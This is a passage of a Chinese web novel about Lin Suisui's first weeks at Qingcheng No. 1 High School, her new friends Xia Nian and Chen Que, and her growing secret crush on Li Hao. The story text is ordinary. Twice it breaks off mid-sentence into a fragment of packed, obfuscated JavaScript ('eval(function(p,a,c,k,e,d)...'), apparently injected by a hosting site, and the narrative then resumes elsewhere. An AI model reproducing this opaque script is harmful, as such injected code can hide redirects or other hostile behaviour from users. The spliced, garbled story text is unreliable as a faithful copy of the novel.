《我的喜欢藏在岁月里[暗恋成真]》 1. 1 “我的高中时光/是冬日趴在走廊上背书望着数不清的日出/与朋友们走过的一圈又一圈的操场/人声鼎沸的篮球场上肆意的身影/猛烈而壮大的狂喜/跌跌撞撞的受伤/以及遥不可及的他.” ——《岁岁的日记》 2007年9月2日,是林岁岁16岁的生日,同时也是青城一中高一新生报道的日子。 林岁岁就是在这天,遇见了李好。 高一新生报道的时间是上午八点,各班学生根据分班表去往班级,领取军训服,只是简单的报道日,所以林岁岁慢慢吞吞到七点四十才出门。 她家离一中并不远,骑车十几分钟的路程。 上午七八点正是上班高峰期,林岁岁骑车缓慢,到了学校门口,几乎没什么新生出入,她低头看了眼手表,八点整。 总不能开学第一天就迟到吧,这个第一印象可不算好。 学校太大,林岁岁不想像初中来这里参加英语作文大赛那般,去学校里的停车棚浪费时间找停车位,她索性直接把自行车停在了学校对面的超市旁。 停好车后,快走到校门口时,她的视线里突然出现一辆黑色商务车,从后座下来的女生,大抵也是新生,着急忙慌往学校跑。 九月初,女生还穿着短裙,披散着长发,光落在她的发顶,有些耀眼。 林岁岁和女生一起站在分班大榜前,她分神瞥了女生一眼。 女生头顶有一缕翘起的头发,她嘴角一弯,轻声提醒,“你的头发翘起来了。” 女生闻声,立刻从口袋里翻出了一面小镜子,认真摆弄着刘海。 “谢啦。” 装备好齐全。 林岁岁轻轻摇头回应,在高一八班看到自己的名字后,转身跟着指示标志前往高一教学楼。 真贴心,幸好有指示标志,不然她又要在这偌大的校园里转悠许久。 青城一中的绿化错落有致,一丛一丛的冬青在道路两旁,高耸的银杏树那时正是浓绿,风吹过,沙沙作响。 可林岁岁顾不得欣赏,脚步匆匆,朝着人声喧哗的那栋楼走去。 “哎,你是几班的啊?”先前那个女生赶上来,侧头询问道。 “八班。” “我也是哎!” 林岁岁这才把注意力转到她的身上,女生皮肤白皙,眼神清澈,额前的碎发在光下毛绒绒的质感。 “我叫夏年,你呢?” “我叫林岁岁,但现在咱们俩马上就要迟到了。” 夏年原先平静的脸庞满露慌张,“啊,不是九点吗?” / 到高一八班教室时,里面早已人满为患。 林岁岁一眼望见的就是站在讲台上的陈辉,也就是接下来三年她的班主任,一名历史老师。 那时林岁岁对他并没有太多印象,只看他身着黑色风衣,修长的黑色长裤,年轻又有修养的模样。 她没由头地暗自松了一口气,她终于要拥有一个脾气好的班主任了吧。 不知为何,从小学到初中,其中也换过几次班主任,但是林岁岁遇到的班主任都是极为严格的狠角色。 希望魔咒被打破,林岁岁看向陈辉的眼神从平静到炽热。 陈辉本在讲话,感知到某道不能忽视的视线,向前门望去,手撑着讲桌,眉头紧皱,看了看桌上的名册,问道:“林岁岁和夏年?” 两人点头如捣蒜,不敢出声。 “进来吧。”陈辉的表情大抵是在忍耐,不让自己开学第一天就骂人。 空座位只剩最后一排靠窗的位置,林岁岁面露疑惑,这难道不是全班最完美的位置么,竟没有一个人选这里。 林岁岁在靠窗的位置坐下,随后的夏年理所当然地坐在她的旁边。 “岁岁,我可以这么叫你吧。” “可以。” 夏年欲再说些什么,却猛然发现斜前方的男生在偷偷回头和她招手。 她的声音提高,“于小胖!你怎么也在这个班?” 那个被称为于小胖的男生还未出声,讲台却上瞬间沉默,全班的窃窃私语声也戛然而止。 当学生这么多年,自然都知晓班主任的沉默意味着什么。 诡异的寂静中,只有颇为胆大的学生才敢抬头瞥上几眼。 而像林岁岁这类的人,这种时候往往望向窗外,事不关己的态度。 陈辉停顿片刻,轻声翻了翻桌上的会议记录本,“我再说一遍,如果军训开始,那些染发烫发的还有披散着头发的,还有别的乱七八糟的不去整改,给班里扣了分,那就等着叫家长吧。” 他扫了一眼底下终于安静的乌泱泱的人,继续讲讲校规校纪。 刚上高中的学生,自然被陈辉这样强大的气场震慑到,立马乖乖坐好,听着无聊冗长的注意事项。 后来大家才发现他只不过是刀子嘴豆腐心,其实整个人随和又亲近。 但当下因为陈辉的话语而着急的自然是夏年,她慌忙翻出书包,也没有找到自己的发绳。 夏年望向旁边这个一直看窗外的奇怪女生,试探地叫了一声,“岁岁?” 林岁岁恍然抽离,转头应道:“怎么了?” “我可以用用你的发绳吗?”夏年把视线从林岁岁呆萌的表情,转移到手腕的发绳上。 夏年扎头发的过程中,陈辉先前派去拿军训服的几个男生抱着50多件军训服回程,远远就在教室听到他们嬉笑打闹的声响。 男生变熟悉的速度,时常让林岁岁感到震惊。 陈辉让代理班长上前负责分发军训服,林岁岁这才发现先前选择的代理班长是她初中时的班长叶珩,他之前略长的头发已然变成了板寸,让她迟迟都不敢认。 林岁岁接过叶珩递过来的校服后,没忍住打趣他,“这个头型很精神。” 对方脸一红,无奈笑着。 教室里都是拉扯透明袋的声响,桌上到处是散落的军训服,每人的脸上洋溢着蓬勃的朝气和强烈的好奇心。 “哈哈哈,岁岁你选错码了吧,这也太大了吧。”夏年拉着林岁岁军训服的袖子,大笑不止。 林岁岁小时体弱多病,身子瘦小,那会也就一米五八。 她像是习惯了这种情况的发生,只是将试过的军训服叠好,起身走向站在讲台上的叶珩,“叶珩,我军训服大了,还有别的码吗?” 叶珩与眼前的女孩相处了一整个初中,自然知道她的衣服尺寸都要偏小些,“岁岁,可能刚刚在那拿错了,都是按人头分发的,班里也没有多余的了。刚刚也有几个女生的码不合适,等下你们一起去招待大厅换吧。” 林岁岁和那几个女生在前门等待几分钟后,一起出发去换军训服。 高一整栋楼喧嚣不断,林岁岁走在几个女生的后面,观察着周围的环境。 青城一中的教学楼都是红砖,许久未翻新的斑驳的红,楼侧的墙面上是肆意攀爬的爬山虎,浓浓绿意,覆盖了一面墙。 她的思绪随着漫不经心的观察,越飘越远。 林岁岁所在的八班在二楼,每层四个班,一共五楼,刚好组成二十个班。再加上暑假她听传闻说今年青城一中扩招,粗略一算足足有上千人,虽说相比其他学校并不算多,但青城一中是青城市的重点中学,自然每年都有人挤破头也想要在这上学。 她挤进来了,但好像也没有什么雀跃的心情。 一行人正在向东走去,走过五班,旁边就是楼梯间,楼梯间是开放式的,阳光被规则分割照在内侧的墙壁上,映出林岁岁的影子。 影子停顿,她偏头看向洗手间的标志,正在下楼的几个女生,摇晃的马尾辫映在斜下方的墙上,她注视片刻,便转头向着洗手间走去。 等会再自己过去吧,林岁岁这样决定后,慢悠悠地走向那寂静的走廊。 喧哗声刹那隔绝,这边寂静无声,洗手间就在拐角处,一转角就是。空阔的走廊外刮来徐徐微风。 弯弯曲曲的枝蔓伸入,宽大浓绿的树叶被风一吹,簌簌作响。 不知是因为风声,还是摇曳的树叶,林岁岁随意地抬眼望了眼。 风一瞬停止,万籁俱寂,隐约之间有个身影倚靠着栏杆。 那人身形修长,背脊挺拔。穿着白色衬衫,淡蓝色运动服,柔顺的短发凌乱飞舞,他却目视前方,一瞬不瞬地发着呆,整个人松松垮垮之间却有种清冷的气质。 风又吹起,林岁岁眉头轻皱,转身进了洗手间。 没一会儿,她甩了甩手上的水滴,拿着军训服正准备下楼,却突然一怔。 要去哪换军训服来着。 刚刚在教室时,她自然觉得只要跟着她们几个女生走就好,可没想到自己会有突发状况,她停顿片刻,想回教室再确认一下。 林岁岁无奈叹了一口气,视线一晃又定格在那个男生身上,倒不如就近问问他吧,总比当着新班主任的面前说,自己不认路要好,那样显得自己过于麻烦。 她没有犹豫,立刻朝着那个看不真切的身影走去,走进了才发现他带着耳机正在听歌,眉目松弛。 她侧头看向他正在望的方向,树干遮盖住视线,只有层层密密的树叶缝隙露出刺眼的阳光,还真是会挑地方。 这比教室最后一排靠窗的地方惬意得多,以后她要来这背书,效率也会高的。 林岁岁走神之间,男生已经注意到有旁人靠近,于是摘下耳机,垂眸注视着她,面露困惑。 刚刚看不出来,现在一看,还真是高啊,而且意外的好看。 他微微侧头,随着他的动作,光影移动,阳光斑斑驳驳落在他的脸上,瞳孔深邃,在这炎炎烈日下,愈发显得冰凉。 他真的太白了,像是要消融在一片日光之中。 林岁岁晃了晃眼,抿抿嘴,“同学,能问问你知道接待大厅在哪吗?” 面前的人看了一眼她怀里抱着的军训服,掀了掀懒散的眼皮,“就是一进校门对面的那栋楼,有玻璃的那个。” 声线清澈明朗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她从前门打了报告进去,发现陈辉抱胸站在讲台上,一脸莫名的笑。 教室乱成一锅粥,大家都在争相换位,相互呼喊自己熟悉的朋友一起坐。 林岁岁听到夏年的声音从教室最里面传来,“岁岁,快过来啊。” 她望向声音的源头,看到夏年明媚的笑,朝着她走去。 “怎么回事,这是在换位吗?” 夏年点点头,望着台上的陈辉,“是我误会我们的班主任了,我还以为他是魔鬼型的班主任,其实人好好啊。” “他说现在的座位不是随即坐的吗,然后说闲着也是无聊,现在就先排好座位,我本来以为就是按身高按入学成绩什么的,可是他说按大家自愿哎。” 夏年托起腮,“我现在觉得他人不错,现在能让学生遵从自己意愿的班主任已经不多了,我要狠狠抓住他。” 岁岁将桌洞里的书包拉链拉开,把军训服塞进去,认同道,“是哎。” 她看了一眼讲台上靠在黑板旁的陈辉,没有想到他还挺浪漫的。 她对浪漫的定义就是如此,给予他们小小的选择机会。 林岁岁看着其他人都陆陆续续找好同桌,教室的哄闹声也渐渐沉寂。 她转头看向一旁的夏年,对方正在比划着军训裤子的长度,“那我们就坐一起啦。” 夏年以为林岁岁是怪自己的擅自做主,“啊,刚刚你不在,我就自己做主了嘿嘿,没关系吧。我在这个班里没有熟人,你是今天我第一个认识的人。” 林岁岁询问只是想确认一下对方的意愿,她此时随意地耸耸肩,“当然啦。” 夏年释放出一个巨大的友好的笑容,“见你第一面我就好喜欢你,岁岁太可爱了” 可下一秒就耷拉着脸,“只是前面是于小胖,瞬间心情就不爽了。” 正前方的于鹏飞闻言,转回头,“夏姐姐,我们现在不是小学生了,是高中生了好吗,还不能原谅我?” 林岁岁听见这句话,直觉他们俩有过节,还是小学时的过节,她好奇但没有询问,尚未熟悉到可以谈论过往的地步。 夏年眼神一记飞刀,没有搭理他,哼哼两声,便把注意力转到于鹏飞的同桌身上。 夏年拿笔戳了戳于鹏飞的同桌,女生背脊紧绷,倏地回过头,像一只受惊的小白兔,“怎——怎么了?” 夏年被她的过度反应吓到,眼睛眨巴眨巴,“我叫夏年,你叫什么呀?” “陈雀,麻雀的雀。” “好可爱的名字!” 陈雀恍如被窗外的阳光刺到,只是眯眼笑笑接着转过身去。 林岁岁看到夏年一脸疑惑地和她对视,她笑着换个话题,又把夏年的情绪拎高。 来青城一中报道的第一天,相安无事地度过。 但自那天过后的许多年,林岁岁的心里一直都有一个挥之不去的影子。 2. 2 军训从9月三3日开始,为期两个星期。 宽阔的操场上,大片大片的迷彩海洋成块状分布。 那时,初秋的阳光依旧猛烈,高高悬挂的烈日谁也不偏袒,把阳光均匀地洒在每个稚嫩的脸庞上。 今日是军训的第五天,林岁岁的双脚因站军姿过长而麻木不已,汗水缓慢地从额头流淌进脖颈,引来阵阵的瘙痒。 年轻的教官不知在哪来回踱步,嘴上喊着不许动不许回头,但大家都心知肚明,肯定又在把队伍后方他们空着的矿泉水瓶一个一个装满。 他是所有教官中年级最小的,仅仅十九岁。几天下来,熟悉过后大家都亲切地叫他徐哥。 过了一会儿,林岁岁已经无法忍受汗水带来的痒意,只得用余光悄悄瞟了一眼教官的位置,然后左手以迅雷不及掩耳之势擦去汗水,舒了口气。 但是下秒,教官就站在一侧轻轻笑了下,林岁岁听得心一紧。 完了,她完蛋了,要罚跑了。 但教官还未出声,身后就传来“咣当”一声,随即响起女生的尖叫声。 班里的舞蹈生许飘晕倒了,八班的队伍一阵嘈杂,林岁岁听着教官在她旁边一声吼,震得她耳朵嗡嗡作响。她无奈地捂住耳朵,叹了口气。 许飘脸色苍白,嘴唇毫无血色,被几个女生架着去往医务室。 林岁岁望着她们的背影,叹了口气,军训真的太过无情! 教官看到许飘晕倒,也认为训练时间太久了,终于仁慈地让大家原地休息十分钟。 夏年从乌泱泱赶去拿水杯的人群中挤出来,把林岁岁的水杯递给她,两人对着远处喝水发呆,互相揉揉肩膀。 林岁岁捏着夏年的胳膊,她力气小,弄得夏年痒痒的,忍不住笑出声。身后的栅栏上倚靠着几个男生,嬉嬉闹闹,不知聊些什么。 林岁岁有个不为人知的小癖好,喜欢偷听别人说话,在排队的时候,在坐公交车的时候,在拥挤人群的时候,她就喜欢偷偷听那些人的日常生活,无聊琐事。 她毫无目的,只是偷听,好似这样可以拥有许多的故事。 恍然间,她听到了陈雀的名字,以及一些不入流的字眼。 林岁岁皱着眉头,手下的按捏停滞,随着几个男生的目光望去,陈雀正站在跳远的沙坑一边,她低着头,碎发遮掩住神情,脚摩擦着地上的细沙。 夏年感受到突然停止的力道,“岁岁?” 下一瞬间,林岁岁才察觉到异样,夏年见她不回应,顺着她的视线望去。 夏年立刻瞪了几眼那几个说笑的男生,朝他们竖起一个不文明的手势,随即对林岁岁说道,“岁岁,你包里有那个吗?我没带。” 林岁岁才收回视线,看着脱去军训外套的夏年,应了一句有,便转身找自己随身的书包。 夏年小跑到陈雀身旁,她平常欢脱的性子,到这个安静的女生面前无计可施,只是用外套挡在她的身后,对着诧异的陈雀说,“陈雀,你来那个了,沾到裤子上了。” 陈雀立刻面红耳赤,下意识侧头,夏年把外套袖子放到她的手上,嘴角漾着友善的笑。 “你先系上,去处理一下吧。” 陈雀浑身呆愣着点点头,脸色泛红,顺从地被夏年拉着离开。 林岁岁赶上她们俩,偷偷把东西塞进陈雀的口袋里,“你等下先去洗手间处理一下,我们俩在门口等着你。” 陈雀窘迫地笑了笑,“谢谢你们。” 两人连忙摆手,“都是女生本来就要互相帮忙的嘛,你快去吧。” 洗手间在操场西面看台的一层,林岁岁和夏年看着陈雀狼狈不堪的背影进入洗手间,走了几步躲在看台下避着阳光。 操场空旷没有树木,阳光无所不在,远处传来几声教官的吹哨声,响彻半个操场。而他们就像是被炙烤的小鱼,随时面临烤糊的结局。 夏年拿出口袋里的防晒霜,不顾林岁岁的阻挡,在她脸上一番涂抹,白嫩的小脸被她抓出红痕。 “岁岁,不是我说你,你咋这么不爱护自己呢。你不能因为自己白,就为所欲为,天天防晒不涂,你是想晒伤吗?” 林岁岁从她的双手中挣脱出来,小嘴嘟囔着,“我早上出门涂了的。” “就涂一次,坚持不了几个小时啊。听我的,再来一点。” 林岁岁躲闪开,下意识眼神一偏,刚好定格在从一侧看台楼梯下来的两个男生身上。 略高的那一个在后,戴着军训帽,五官隐于阴影中,看不真切,只得看到他流畅的下颌线和微抿的唇,手插进兜里,慵懒地走下台阶。 前面的男生回头,不知说些什么话,让身后那人露出淡淡的笑容,嘴角轻轻一勾,与身后的阳光融在一起,明亮灼人。 林岁岁一眼就认出那是只见过一面的李好。 她一霎呆滞,夏年用手抹去没涂匀的防晒霜,“岁岁,岁岁?” “啊?”林岁岁回过神,尴尬地回应她。 夏年捂住胸口夸张地说,“哼,我给你科普半天晒伤的危害,合着你都没有认真听,我受伤了。” 林岁岁急忙狡辩几句,夏年抱胸转头,不去看她。 陈雀站在不远处,窘迫加深,脸上红晕依旧。 “你怎么样啊?” 陈雀的喉咙发紧,带些哭腔,“嗯...裤子上的弄不掉。” 夏年揽过她,看着身后依旧略带一些血迹,而且裤子因为用湿巾擦拭,而有些潮湿,这样肯定不能回到队伍,还会被那些人嘲笑。 林岁岁啊了一声,“夏年你个子高,衣服大,她穿你的外套应该刚好可以盖住。” 夏年摆手,“行,那你先穿我的外套吧。” 林岁岁在她们俩换外套的过程中,余光向操场中央一瞥,李好走在足球场上,穿过草坪,身后的阳光照在他的身上,漆黑的头发毛绒绒的,边缘略带金色。 她想看李好走向哪个班的集合点,眼睛一瞬不瞬地盯着他的背影。 李好似乎有所察觉,回身看了眼。 林岁岁在他回头的那瞬间,慌忙低头,像偷东西的小偷,见不得光。 夏年看着林岁岁的脸色愈加发红,只以为是自己刚刚揉搓过度,没有多想,一手拉着她,另一边挽着陈雀,一起往集合点走去。 林岁岁顺从地跟着夏年,悄悄向操场中间望去,已然空荡无人,才下意识松了一口气。 应该没有看到自己吧? 洗手间附近有许多偷懒而聚集起来的小团体,一定不会被发现的。 就算发现了又能怎么样呢,他应该不会把她看在眼里。 可那时的林岁岁却没有想过,自己为什么会因为一个人而如此紧张,如此心不在焉。 她还不知道这意味着什么。 思绪还未抽离,夏年就扯着林岁岁的胳膊,“岁岁,你有没有听我说话啊?” 夏年眼看又要怒火烧眉,林岁岁赶紧安抚住,“在听在听。” / 夏年为了安慰陈雀,讲的是她小学的事,可能安慰一个人最好的方式,那就是比惨。 那时五年级,夏年的初潮来得比同龄人都要早,可她的妈妈早在她上幼儿园时就去世,直到现在都是她的爸爸夏长辉照顾她。 所以她对女生的私密事,没有太多的了解,以至于她在初潮那一天,在学校备受男生的羞辱。 那天,夏年刚从洗手间出来,甩掉手上湿漉漉的水珠,她哼着歌全然没有注意到身边人异样的眼光,直到班上的一个小胖子,不难猜一定是于鹏飞,虽然他与当初已大相径庭。 他跳出来,眼泪都要笑出来,“夏年你屁股怎么流血了啊,哈哈哈。”他响亮的声音,让原本走廊上只是诧异几眼,犹豫要不要上前提醒她的人,哄堂一笑。 夏年慌张拉扯着裤子回头看去,那洇散开来的血红色,让她面红耳赤。她虽然没有妈妈教导她这不是一件羞耻的事,但那时的夏年也知道这是一件所有女生都会面临的事,没有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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高二、高三楼早已在天幕昏昏沉沉时便灯火通明,喧嚣的读书声与热闹的高一楼全然不同,那是不可避免的坚守,而险些要炸掉的高一楼,在黄昏之际,归于寂静。 高一的军训没有设置晚自习,所以他们还尚且保留两个星期的夜间自由。 陈雀推着自行车喊住前面同样推着自行车的林岁岁和夏年,她把着车,小跑过来,车筐里的书包颠的歪歪斜斜。 “今天谢谢你们俩啊,还害得你们被教官罚跑了,对不起......” 夏年今日听这个沉默寡言的女孩说谢谢,已经不知听了多少句,“不要再说谢谢了,再这样,就是不把我们当朋友。” 林岁岁看着陈雀垂着眸,嘴巴微抿,左手下意识扣着车把,硬生生要把胶套扣下来的气势,她歪头一笑,“陈雀,没关系的,换做是谁都会这样做的。” “嗯,我知道了,但还是谢谢你们啊,夏年你的外套我洗好再给你。” 我知道,但从来没有人这样帮过我,所以很感谢你们。但是陈雀没有说出口,骑上车进入消沉的日落之中。 夏年看着陈雀的背影逐渐变成米粒般大小时,才收回视线,“陈雀怎么别别扭扭的啊,看起来好不开心的样子。” 陈雀从未主动说过话,只是倾听,无论每天夏年和于鹏飞打得抱头鼠窜,她依旧只是安安静静地把不小心撞歪的书,悄悄摆正,顺便把于鹏飞的也摆正。 林岁岁时常看着陈雀低垂的脑袋,这是和她自己完全不一样的感觉。 她时常把自己当做旁观者,可又随时都能进入热闹之中,但陈雀带给她的感觉是,她完完全全被排挤在外,或者是她臆想自己被排除在外,所以木讷不言,演变为习惯。 林岁岁看她弯着的背脊,像是要被什么东西压塌了一般。 “别瞎说,每个人性格不同。”她眯着眼睛,看向一旁的夏年,“好了,我先回家了。” “好,明天见啊,岁岁!” “嗯,明天见。” 远处霞光笼罩人间。 林岁岁始终觉得那时候最美好的三个字就是明天见。 在满眼皆是烂漫的暮色下,挥着手和朋友说一句明天见,是一件很浪漫的事。因为那里,校园里、教室里,有着令人着迷的人和事。 即便不知最后的结局如何。 3. 3 九月中旬的某天,清澈的天没有一朵游荡的云,天气微微转凉,青城一中高一新生们艰苦的军训生活也即将画上句点。 操场上,迷彩服形成的一片绿海正在成块的移动着,停停顿顿。主席台上坐着一众校领导,正在观看最后的军训汇演。 高一八班的全体学生,随着教官徐哥宏亮的声音,完成一个又一个训练许久的动作。 八班完成所有指定的项目后,离开主席台下方,众人了却一桩心事,纷纷扔起军训帽欢呼雀跃。 这可恶的军训终于结束了,再也不需要练习无数次军姿、转向,更不需要每日站在阳光下炙烤。 可是林岁岁胸口突然空落落的,失落涌出,像是一本书看过,才后知后觉出那时光的怅然。 陈辉站在跑道旁,与其他几位班主任在一起,他在其中尤其高挑,一眼就可以锁定。 他蹙着眉,背着手佯装出怒意,众人才摸着鼻子,灰溜溜的按照排练的路线,走向班级的位置。 军训汇演时长过久,校领导大发慈悲地让结束的班级在草坪上席地而坐,班挨着班。空气在偌大的操场也有些密不透风,许多人都脱下了外套,妄图遮挡住耀眼的光,光落在每一个大汗淋漓的脸庞,是遮也遮不住的青春的神情。 林岁岁眯着眼,抬头朝主席台望去,看着坐在角落的级部主任武江,他猛打了一个哈气。 她被这一幕逗笑,眼睛一弯,碎发划过耳朵,坠落下来,阳光照在黑发上,泛着金色的光,柔和干净。 林岁岁前面坐着陈雀,后方坐着夏年,经过上次那件事后,她们三个人的关系变得亲近。本来在女孩的世界里,建立友情就是一件很简单的事,可能是阴差阳错,或是共同经历过一件事。 对于林岁岁来说,在一个新环境的适应期很漫长,但倘若出现一个极其主动的人,这件事就会异常简单。 夏年自然充当这一角色,这是理所当然,也没有人会拒绝一个太阳的靠近。 在她锲而不舍的努力下,像小麻雀一样被忽略的陈雀,也难得向她们俩表露出好感,加入原先的二人行。 就这样,三个截然不同的人成为了好伙伴,是偶然也是必然,林岁岁始终相信气场相投的人自会相互吸引。 主席台上的校领导开始接二连三的进行发言,语气沉闷,底下的学生听得也无精打采。 夏年想了一个玩法,用手在林岁岁背上写字,让她去猜,然后林岁岁再写到陈雀的背上,而后夏年公布答案,几人玩到最后答案总是离谱,笑得直不起腰,又不敢太大声,生怕队伍后侧的陈辉察觉,于是憋得实在难受。 夏年想起社团的事,便趴到林岁岁的背上,“你们俩,有想好要报什么社团吗?” 青城一中注重学生们的综合素质发展,不仅有全市最好的教育水平,而且各种各样的兴趣社团也让人眼花缭乱,几乎每日中午趁着午休,都会有零零散散的社团到新生班去纳新,林岁岁的书桌里除了新发的教科书,就是五彩缤纷的宣传单页。 旁边七班的某些男生闹得欢,常常动作幅度过大,林岁岁向另一侧一躲,“我报文学社啊。” 夏年知道林岁岁喜欢看书,时常午休捧着厚重的书在看,说来还有件趣事。 某日的中午午休,由于学校的安排,军训期间中午不得回家,所以教室里到处是睡得东倒西歪的学生。 一片静谧,只有外面偶尔传来几声鸟啼声,林岁岁站在窗边,手里捧着一本《百年孤独》,看得津津有味,时而皱眉,时而拿笔圈圈画画。 夏年趴着睡了一会,军训劳累的身体到处都传来疼痛感,醒来便看到林岁岁站着,齐耳短发的身影,安静又温柔。 她凑到林岁岁的身旁,问她在看什么? 林岁岁将书合起,夏年喃喃念了一遍书名,问她这是讲什么的。 她眯起眼睛,思考的模样,慢吞吞把封面上的故事梗概念了一遍。 夏年不傻,这话听着官方,林岁岁说出来有些可爱,她不禁失笑,“你不会没看懂吧?” 林岁岁与她对视,郑重点头:“嗯,我看不懂。” 她被林岁岁愁苦的模样彻底逗笑,身后不远处的叶珩,恍如被吵醒的样子,她们俩连忙用口型道歉,叶珩摆摆手,表示无事。 两人坐下,夏年凑过去压低分贝,“看不懂,你看了干什么啊?多没意思啊。” 林岁岁把金色枫叶形状的精致书签放在书中,合上书,“我在努力看懂啊,总有一次翻开,我能看懂的。” 夏年愣住,开着的窗透过白色的薄帘,透过一阵风,林岁岁几缕碎发凌乱不已。 她是搞不懂这个姑娘了,看个书还要把自己搞得那么累。 主席台的话筒突然发出刺耳的嘶啦声,操场上以及围在栏杆外凑热闹的高二高三生,都极为痛苦的捂住耳朵。杂音转瞬即逝,整个操场又响起某位领导中气十足的声音。 夏年对林岁岁的回答轻轻点头,而后又问向陈雀,“陈雀,你嘞?” 陈雀满脸失落,“我想报绘画,但我妈妈肯定不同意。” 林岁岁在这段时间,对陈雀有了初步的了解,她是单亲家庭,从小跟着妈妈苏雯婉生活,所以苏雯婉对她有极强的控制,学习以外的事情,是绝不能碰的,不然她的妈妈会发疯。 所以她形成这样的性格,有迹可循。 夏年眼珠一转,“你瞒着她不就好啦,这些社团一个月才几次活动啊,阿姨不会发现的。” 陈雀咬着嘴唇,手下攥着足球场上的人工草皮,不知在想些什么。 林岁岁也明白她的性子,快速将话题转向夏年,“那你要报什么啊?” 夏年仍旧一副犹豫的神色,“我,我不知道哎,我也没什么爱好,感觉都差不多。” “其实,高中还是学习重要,报不报都没关系的,你们俩别这么纠结哈。” 林岁岁险些以为这是高考填志愿的时刻,社团也没什么重要的。 将近下午四点,太阳躲过主席台上方的遮雨棚,从西侧倾泻而下,许多人都拿下盖在头上的外套,开始对这场不眠不休的汇演失了耐心,东张西望,喧闹不已。 隔壁班的那个男生的膝盖再一次撞向林岁岁,她也被躁动的气氛闹得有些烦躁,终于忍不住想要出声打断他们的交谈,提醒一下他的行为举止。 可林岁岁一转头,还未出声的那一瞬间,从身后一侧传来声响,那人脱下军训帽,敲在聒噪的男生头上,“沉嘉遥,你吵死了,安静一点,挡着我看领导演讲了。” 那人坐的笔直,并不像其他人懒懒洋洋的,由于长久带着军训帽,他头发压得贴在额头,乖巧得很,眉眼之间却沾染了一点不耐烦。 她的唇角一弯,神情恍惚,好似被天大的惊喜砸中,难以清醒。 这是她自从那天之后,一直在寻找的李好哎,找来找去不见踪迹,却在她毫不注意的身边出现。 她有些懊恼,先前他们班结束后,她有一股结束后的怅然若失,所以心不在焉,并未注意到隔壁班,甚至侧后方坐的就是她偶尔会想起的那个人。 都怪这个聒噪的男生,不然她更不会由于厌恶,内心只想着躲开,连和夏年交流,也是从另一侧转头。 那个叫沉嘉遥的聒噪家伙,回头一脸震惊,“不愧是三好学生,这么无聊的演讲都听得津津有味。” “少说废话,不然今晚上,别吃我奶奶做的饭。” 林岁岁疑惑,不知这算是哪一类的威胁,沉嘉遥竟然啧的一声,然后果断闭嘴,动作幅度也小了起来。 那一瞬间,林岁岁第二次和李好对视,她不知道,他还记得她吗? 闪耀的光芒照在他的右脸,使他一半晦明,一半明亮。先前微抿着唇,佯装的不耐烦,悄然落下后,只有沉静的气息。 李好的瞳仁漆黑,清冷透亮,不经意一看,便像是无尽的深渊,林岁岁抵挡不住他的眼神,像是整个人要被吸入一般,所以下意识眼神躲闪,喉咙发紧般无声地说了句谢谢,轻轻扯出笑容,便果断转过头去。 林岁岁猛地松了一口气,僵直的脊背也瞬间放松下来,手心粘稠的汗意让她搓搓手,掩盖住怦怦乱跳的心脏。 她不理解,这是为什么? 这是喜欢,她明白,可是为什么呢,为什么会只见过一次,便念念不忘呢? 这是第三次的见面,第一次是善意,第二次是单方面,第三次也是善意。 仅仅如此,就让她辗转难忘。 林岁岁试图掩盖住自己的惊慌失措,继续和夏年聊起社团 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林岁岁从未因为某件事或某个人如此开心过,就连初中投稿杂志社被选中,亦或是收到青城一中的录取通知书时,也没有像此时这般喜悦。 她在人群之中,顺着人潮,渺小的不起眼,却拥有了一个巨大的秘密。 夏年被身旁的人推搡着,有些烦躁,连骂了几句,实在不愿挤来挤去,于是俩人速度放缓,林岁岁一直瞧着的身影也隐没于人群之中,寻不到了。 女生的速度好像格外地慢,俩人回到教室,班主任陈辉已经站在讲台上,俩人也不再慢吞吞,赶紧坐在位置上。 今天的场合稍微有些正式,陈辉也没穿平时的休闲运动服,换上了白衬衣和西裤,今年三十多岁的他这样倒有些少年气。 这段时间相处下来,林岁岁愈加喜欢他。 班主任分很多种,有随随便便看你不顺眼就发火的,有对好学生和坏学生完全两幅面孔的,有对一切都不管不顾的,还有就是像陈辉这种,你一看他,你就觉得他是会护着自家学生的班主任。 林岁岁摇摇脑袋,又走神了,强迫翻开教科书开始有一搭没一搭地看着。 “都来齐了吧。”陈辉扫了台下一眼。“首先,再次热烈庆祝咱们班赢了军训团体一等奖。”他率先鼓起了掌,随后全班也跟着欢呼鼓掌。 好在这两个星期的苦没有白受,起码赢了八班第一面小红旗。 陈辉随后曲着手指,敲了敲讲桌,大家给面子地安静下来,他轻咳几声,“其次,告诉大家一个不幸的消息,下周二进行入学考。” 教室顿时哀怨声起伏,要炸开了锅。 “干什么,你们来青城一中前,没有做好觉悟吗,上了高三那更是每周小测,每月小考大考接连不断的,现在唉声叹气还太早呢。上完这节自习,值日生打扫一下卫生,其他人回家。”陈辉收拾了一下凌乱的讲桌,又交待几句便前去开会,当走到门口,又想到什么,补了一句,“周一,谁要是给我穿着军训服来上课,我就把你扔在升旗台下供全校观赏。” 毕竟青城一中是重点中学,大多数学生也是挤破头进来了,必然都不想在入学测试上就考砸。 高中没那么美好,大家要为了成绩和排名而战斗,毕竟从小到大,大家被教导的最重要的两个字就是高考。 夏年直接瘫在桌子上,小声嘟囔:“啊,这两周的日子,让我差点忘了,这是全市最可怕的高中啊。” 林岁岁偏头看向她,一听到要考试,连平常都在看小说的夏年也紧张起来。 可没认真一会儿,她就用笔戳林岁岁的手肘。 “岁岁,这个题怎么做啊?”夏年指了指桌上的地理习题。 傍晚的余晖穿过楼前的几颗香樟树,几何形状的光落在桌上。 林岁岁看着习题册,思考几秒,题并不算难,是初中的知识,女孩轻轻画着辅助线,光影也随之舞动。 许多年后,林岁岁已经忘记那些年自己在被无数试卷折磨到崩溃的模样,但她却永远记得,在那些毫不起眼的琐碎里,闪的耀眼的无数瞬间,那里有她最珍贵的朋友,有敬爱的师长,有为你撑腰的父母,也有一个说不清的人。 说不清,是因为遥远,因为特别到无法归类。 4. 4 周末转瞬即逝,周一早上七点的校门口,人潮涌动,林岁岁推着自行车艰难前行,终于进入学校。 